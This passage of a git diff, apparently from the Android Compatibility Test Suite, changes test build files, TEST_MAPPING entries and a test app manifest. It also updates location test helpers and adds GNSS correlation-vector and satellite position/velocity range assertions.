+                }
+            }
+        };
+        registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION_TRIGGER));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        if (mBroadcastReceiver != null) {
+            unregisterReceiver(mBroadcastReceiver);
+            mBroadcastReceiver = null;
+        }
+    }
 }
diff --git a/tests/jdwp/Android.bp b/tests/jdwp/Android.bp
index d584633..bea346d 100644
--- a/tests/jdwp/Android.bp
+++ b/tests/jdwp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
 
     name: "CtsJdwpTestCases",
diff --git a/tests/jdwp/runner/device-side/Android.bp b/tests/jdwp/runner/device-side/Android.bp
index 4ae6f6f..98edcf8 100644
--- a/tests/jdwp/runner/device-side/Android.bp
+++ b/tests/jdwp/runner/device-side/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "cts-dalvik-device-test-runner",
     installable: true,
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index 4acb32c..a78fe2e 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -16,10 +16,6 @@
 //       a library component for a test, not a test. Right now, make it
 //       a test to retain the test_suites from the original Android.mk.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "cts-dalvik-host-test-runner",
 
diff --git a/tests/leanbackjank/Android.bp b/tests/leanbackjank/Android.bp
index 4f966d0..f72d1fb 100644
--- a/tests/leanbackjank/Android.bp
+++ b/tests/leanbackjank/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLeanbackJankTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/leanbackjank/TEST_MAPPING b/tests/leanbackjank/TEST_MAPPING
new file mode 100644
index 0000000..64160c8
--- /dev/null
+++ b/tests/leanbackjank/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLeanbackJankTestCases"
+    }
+  ]
+}
diff --git a/tests/leanbackjank/app/Android.bp b/tests/leanbackjank/app/Android.bp
index 0448e15..cfcff77 100644
--- a/tests/leanbackjank/app/Android.bp
+++ b/tests/leanbackjank/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLeanbackJankApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/leanbackjank/app/AndroidManifest.xml b/tests/leanbackjank/app/AndroidManifest.xml
index 815b8cd..07f2bce 100644
--- a/tests/leanbackjank/app/AndroidManifest.xml
+++ b/tests/leanbackjank/app/AndroidManifest.xml
@@ -16,44 +16,41 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="android.leanbackjank.app"
-    android:versionCode="1"
-    android:versionName="1.1" >
+     xmlns:tools="http://schemas.android.com/tools"
+     package="android.leanbackjank.app"
+     android:versionCode="1"
+     android:versionName="1.1">
 
-    <uses-sdk
-        android:minSdkVersion="21"
-        android:targetSdkVersion="23" />
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="23"/>
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
 
-    <uses-feature
-        android:name="android.hardware.touchscreen"
-        android:required="false" />
+    <uses-feature android:name="android.hardware.touchscreen"
+         android:required="false"/>
 
     <uses-feature android:name="android.software.leanback"
-        android:required="true" />
+         android:required="true"/>
 
-    <application
-        android:allowBackup="false"
-        android:icon="@drawable/videos_by_google_banner"
-        android:label="@string/app_name"
-        android:logo="@drawable/videos_by_google_banner"
-        android:theme="@style/Theme.Example.Leanback"
-        tools:replace="android:appComponentFactory"
-        android:appComponentFactory="android.support.v4.app.CoreComponentFactory" >
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="false"
+         android:icon="@drawable/videos_by_google_banner"
+         android:label="@string/app_name"
+         android:logo="@drawable/videos_by_google_banner"
+         android:theme="@style/Theme.Example.Leanback"
+         tools:replace="android:appComponentFactory"
+         android:appComponentFactory="android.support.v4.app.CoreComponentFactory">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".ui.MainActivity"
-            android:icon="@drawable/videos_by_google_banner"
-            android:label="@string/app_name"
-            android:logo="@drawable/videos_by_google_banner"
-            android:screenOrientation="landscape" >
+        <activity android:name=".ui.MainActivity"
+             android:icon="@drawable/videos_by_google_banner"
+             android:label="@string/app_name"
+             android:logo="@drawable/videos_by_google_banner"
+             android:screenOrientation="landscape"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index 67fb0b74..b6dbd78 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreJsr166TestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/jsr166/TEST_MAPPING b/tests/libcore/jsr166/TEST_MAPPING
new file mode 100644
index 0000000..7657d68
--- /dev/null
+++ b/tests/libcore/jsr166/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreJsr166TestCases"
+    }
+  ]
+}
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 47f0faa..5edde79 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index b11bc9b..6a5e8ed 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreOjTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index da05fe2..0457989 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreOkHttpTestCases",
     defaults: ["cts_support_defaults"],
@@ -44,6 +40,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts-conscrypt",
+       "mts-conscrypt",
     ],
 }
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
index d54a198..25a9dcd 100644
--- a/tests/libcore/runner/Android.bp
+++ b/tests/libcore/runner/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLibcoreTestRunner",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index 3aba80f..6b6c34b 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreWycheproofBCTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
index 808aafb..859e82f 100644
--- a/tests/libcore/wycheproof/Android.bp
+++ b/tests/libcore/wycheproof/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreWycheproofConscryptTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof/TEST_MAPPING b/tests/libcore/wycheproof/TEST_MAPPING
new file mode 100644
index 0000000..7993ad6
--- /dev/null
+++ b/tests/libcore/wycheproof/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreWycheproofConscryptTestCases"
+    }
+  ]
+}
diff --git a/tests/location/OWNERS b/tests/location/OWNERS
index 61eb794..90fdb22 100644
--- a/tests/location/OWNERS
+++ b/tests/location/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 32850
+sooniln@google.com
 dnchrist@google.com
 sashakuznetsov@google.com
-sooniln@google.com
 weiwa@google.com
 wyattriley@google.com
 yuhany@google.com
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
index 2056df9..c242fcf 100644
--- a/tests/location/common/Android.bp
+++ b/tests/location/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "LocationCtsCommon",
     srcs: [
diff --git a/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
index 5e9301d..be3a968 100644
--- a/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
+++ b/tests/location/common/src/android/location/cts/common/GetCurrentLocationCapture.java
@@ -1,5 +1,6 @@
 package android.location.cts.common;
 
+import android.annotation.Nullable;
 import android.location.Location;
 import android.os.CancellationSignal;
 
@@ -12,7 +13,7 @@
 
     private final CancellationSignal mCancellationSignal;
     private final CountDownLatch mLatch;
-    private Location mLocation;
+    private @Nullable Location mLocation;
 
     public GetCurrentLocationCapture() {
         mCancellationSignal = new CancellationSignal();
@@ -27,7 +28,7 @@
         return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
-    public Location getLocation(long timeoutMs) throws InterruptedException, TimeoutException {
+    public @Nullable Location getLocation(long timeoutMs) throws InterruptedException, TimeoutException {
         if (mLatch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
             return mLocation;
         } else {
diff --git a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
index bdb66bf..2359f91 100644
--- a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
+++ b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
@@ -20,7 +20,6 @@
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
-import android.os.Bundle;
 
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -29,11 +28,13 @@
 
     private final LocationManager mLocationManager;
     private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Integer> mFlushes;
     private final LinkedBlockingQueue<Boolean> mProviderChanges;
 
     public LocationListenerCapture(Context context) {
         mLocationManager = context.getSystemService(LocationManager.class);
         mLocations = new LinkedBlockingQueue<>();
+        mFlushes = new LinkedBlockingQueue<>();
         mProviderChanges = new LinkedBlockingQueue<>();
     }
 
@@ -41,6 +42,10 @@
         return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
+    public Integer getNextFlush(long timeoutMs) throws InterruptedException {
+        return mFlushes.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
     public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
         return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
@@ -51,7 +56,8 @@
     }
 
     @Override
-    public void onStatusChanged(String provider, int status, Bundle extras) {
+    public void onFlushComplete(int requestCode) {
+        mFlushes.add(requestCode);
     }
 
     @Override
diff --git a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
index 9dc2d4a..32db14c 100644
--- a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
+++ b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
@@ -16,18 +16,19 @@
 
 package android.location.cts.common;
 
+import static android.location.LocationManager.KEY_FLUSH_COMPLETE;
 import static android.location.LocationManager.KEY_LOCATION_CHANGED;
 import static android.location.LocationManager.KEY_PROVIDER_ENABLED;
 
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.location.Location;
 import android.location.LocationManager;
 import android.os.Looper;
 
+import com.google.common.base.Preconditions;
+
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
@@ -40,6 +41,7 @@
     private final LocationManager mLocationManager;
     private final PendingIntent mPendingIntent;
     private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Integer> mFlushes;
     private final LinkedBlockingQueue<Boolean> mProviderChanges;
 
     public LocationPendingIntentCapture(Context context) {
@@ -50,8 +52,9 @@
                 new Intent(ACTION)
                         .setPackage(context.getPackageName())
                         .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
         mLocations = new LinkedBlockingQueue<>();
+        mFlushes = new LinkedBlockingQueue<>();
         mProviderChanges = new LinkedBlockingQueue<>();
 
         register(ACTION);
@@ -69,6 +72,14 @@
         return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
+    public Integer getNextFlush(long timeoutMs) throws InterruptedException {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new AssertionError("getNextFlush() called from main thread");
+        }
+
+        return mFlushes.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
     public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
         if (Looper.myLooper() == Looper.getMainLooper()) {
             throw new AssertionError("getNextProviderChange() called from main thread");
@@ -91,6 +102,10 @@
             mProviderChanges.add(intent.getBooleanExtra(KEY_PROVIDER_ENABLED, false));
         } else if (intent.hasExtra(KEY_LOCATION_CHANGED)) {
             mLocations.add(intent.getParcelableExtra(KEY_LOCATION_CHANGED));
+        } else if (intent.hasExtra(KEY_FLUSH_COMPLETE)) {
+            int requestCode = intent.getIntExtra(KEY_FLUSH_COMPLETE, Integer.MIN_VALUE);
+            Preconditions.checkArgument(requestCode != Integer.MIN_VALUE);
+            mFlushes.add(requestCode);
         }
     }
 }
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java b/tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java
new file mode 100644
index 0000000..9522474
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.LocationManager;
+import android.location.provider.ProviderRequest;
+import android.util.Pair;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/** A {@link ProviderRequest.Listener} that automatically unregisters itself when closed. */
+public class ProviderRequestListenerCapture implements ProviderRequest.Listener, AutoCloseable {
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<Pair<String, ProviderRequest>> mProviderRequestChanges;
+
+    public ProviderRequestListenerCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mProviderRequestChanges = new LinkedBlockingQueue<>();
+    }
+
+    public Pair<String, ProviderRequest> getNextProviderRequest(long timeoutMs)
+            throws InterruptedException {
+        return mProviderRequestChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onProviderRequestChanged(String provider, ProviderRequest request) {
+        mProviderRequestChanges.add(new Pair<>(provider, request));
+    }
+
+    @Override
+    public void close() throws Exception {
+        mLocationManager.unregisterProviderRequestListener(this);
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
index 75e4e39..f1c37cb 100644
--- a/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
+++ b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
@@ -3,10 +3,8 @@
 import static android.location.LocationManager.KEY_PROXIMITY_ENTERING;
 
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.location.LocationManager;
 import android.os.Looper;
 
@@ -28,8 +26,10 @@
 
         mLocationManager = context.getSystemService(LocationManager.class);
         mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
-                new Intent(ACTION).setPackage(context.getPackageName()),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                new Intent(ACTION)
+                        .setPackage(context.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
         mProximityChanges = new LinkedBlockingQueue<>();
 
         register(ACTION);
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
index bed3793..581a107 100644
--- a/tests/location/common/src/android/location/cts/common/TestLocationManager.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -17,6 +17,7 @@
 package android.location.cts.common;
 
 import android.content.Context;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssRequest;
@@ -109,6 +110,24 @@
     }
 
     /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+            GnssMeasurementRequest request) {
+        Log.i(TAG, "Add Gnss Measurement Callback. enableFullTracking=" + request);
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(request, Runnable::run, callback);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
      * Request GNSS location updates with {@code LocationRequest#setLowPowerMode()} enabled.
      *
      * See {@code LocationManager#requestLocationUpdates}.
@@ -117,15 +136,13 @@
      */
     public void requestLowPowerModeGnssLocationUpdates(int minTimeMillis,
             LocationListener locationListener) {
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(
-                LocationManager.GPS_PROVIDER, /* minTime= */ minTimeMillis, /* minDistance= */0,
-                false);
-        request.setLowPowerMode(true);
         if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
             Log.i(TAG, "Request Location updates.");
-            mLocationManager.requestLocationUpdates(request,
-                    locationListener,
-                    Looper.getMainLooper());
+            mLocationManager.requestLocationUpdates(
+                    LocationManager.GPS_PROVIDER,
+                    new LocationRequest.Builder(minTimeMillis).setLowPower(true).build(),
+                    mContext.getMainExecutor(),
+                    locationListener);
         }
     }
 
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index afb5785..7c5afae 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,20 +16,23 @@
 
 package android.location.cts.common;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
 import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
 import android.location.LocationManager;
+import android.location.SatellitePvt;
 import android.util.Log;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -89,31 +92,17 @@
     /**
      * Check if test can be run on the current device.
      *
-     * @param  androidSdkVersionCode must be from {@link android.os.Build.VERSION_CODES}
      * @param  testLocationManager TestLocationManager
      * @return true if Build.VERSION &gt;= {@code androidSdkVersionCode} and Location GPS present on
      *         device.
      */
-    public static boolean canTestRunOnCurrentDevice(int androidSdkVersionCode,
-            TestLocationManager testLocationManager,
+    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
             String testTag) {
-        if (ApiLevelUtil.isBefore(androidSdkVersionCode)) {
-            Log.i(testTag, "This test is designed to work on API level " +
-                    androidSdkVersionCode + " or newer. " +
-                    "Test is being skipped because the platform version is being run in " +
-                    ApiLevelUtil.getApiLevel());
-            return false;
-        }
-
         // If device does not have a GPS, skip the test.
         if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
             return false;
         }
 
-        // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
-        // fail the test now, because there's no point in going further.
-        // If this is CTS only,we'll warn instead, and quickly pass the test.
-        // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
         boolean gpsProviderEnabled = testLocationManager.getLocationManager()
                 .isProviderEnabled(LocationManager.GPS_PROVIDER);
         SoftAssert.failOrWarning(true, " GPS location disabled on the device. "
@@ -314,7 +303,98 @@
                 measurement.getAutomaticGainControlLevelDb() >= -100
                     && measurement.getAutomaticGainControlLevelDb() <= 100);
         }
+    }
 
+    /**
+     * Assert all SystemApi fields in Gnss Measurement are in expected range.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * @param requireCorrVec assert correlation vectors outputs
+     * @param requireSatPvt  assert satellite PVT outputs
+     */
+    public static void assertAllGnssMeasurementSystemFields(
+        TestLocationManager testLocationManager, GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+        if (requireCorrVec) {
+            softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+                timeInNs,
+                "measurement.hasCorrelationVectors() == true",
+                String.valueOf(measurement.hasCorrelationVectors()),
+                measurement.hasCorrelationVectors());
+        }
+        if (measurement.hasCorrelationVectors()) {
+            verifyCorrelationVectors(measurement, softAssert, timeInNs);
+        }
+
+        if (requireSatPvt) {
+            softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+                timeInNs,
+                "measurement.hasSatellitePvt() == true",
+                String.valueOf(measurement.hasSatellitePvt()),
+                measurement.hasSatellitePvt());
+        }
+        if (measurement.hasSatellitePvt()) {
+            verifySatellitePvt(measurement, softAssert, timeInNs);
+        }
+    }
+
+    /**
+     * Verify correlation vectors are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifyCorrelationVectors(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        Collection<CorrelationVector> correlationVectors =
+                measurement.getCorrelationVectors();
+        assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+        softAssert.assertTrue("CorrelationVectors count",
+                timeInNs,
+                "X > 0",
+                String.valueOf(correlationVectors.size()),
+                correlationVectors.size() > 0);
+        for (CorrelationVector correlationVector : correlationVectors) {
+            assertNotNull("CorrelationVector cannot be null.", correlationVector);
+            int[] magnitude = correlationVector.getMagnitude();
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Frequency offset from reported pseudorange rate "
+                    + "for this CorrelationVector",
+                    timeInNs,
+                    "X >= 0",
+                    String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+                    correlationVector.getFrequencyOffsetMetersPerSecond() >= 0);
+            softAssert.assertTrue("sampling_width_m : "
+                    + "The space between correlation samples in meters",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(correlationVector.getSamplingWidthMeters()),
+                    correlationVector.getSamplingWidthMeters() > 0.0);
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Offset of the first sampling bin in meters",
+                    timeInNs,
+                    "X >= 0.0",
+                    String.valueOf(correlationVector.getSamplingStartMeters()),
+                    correlationVector.getSamplingStartMeters() >= 0.0);
+            softAssert.assertTrue("Magnitude count",
+                    timeInNs,
+                    "X > 0",
+                    String.valueOf(magnitude.length),
+                magnitude.length > 0);
+            for (int value : magnitude) {
+                softAssert.assertTrue("magnitude : Data representing normalized "
+                        + "correlation magnitude values",
+                        timeInNs,
+                        "-32768 <= X < 32767",
+                        String.valueOf(value),
+                        value >= -32768 && value < 32767);
+            }
+        }
     }
 
     /**
@@ -892,4 +972,71 @@
         }
         return GnssBand.GNSS_L1; // default to L1 band
     }
+
+    /**
+     * Assert most of the fields in Satellite PVT are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifySatellitePvt(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        SatellitePvt satellitePvt = measurement.getSatellitePvt();
+        assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+        softAssert.assertTrue("x_meters : "
+                + "Satellite position X in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+                satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+        softAssert.assertTrue("y_meters : "
+                + "Satellite position Y in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+                satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+        softAssert.assertTrue("z_meters : "
+                + "Satellite position Z in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+                satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+        softAssert.assertTrue("ure_meters : "
+                + "The Signal in Space User Range Error (URE) (meters)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+                satellitePvt.getPositionEcef().getUreMeters() > 0);
+        softAssert.assertTrue("x_mps : "
+                + "Satellite velocity X in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+        softAssert.assertTrue("y_mps : "
+                + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+        softAssert.assertTrue("z_mps : "
+                + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+        softAssert.assertTrue("ure_rate_mps : "
+                + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+                timeInNs,
+                "X > 0",
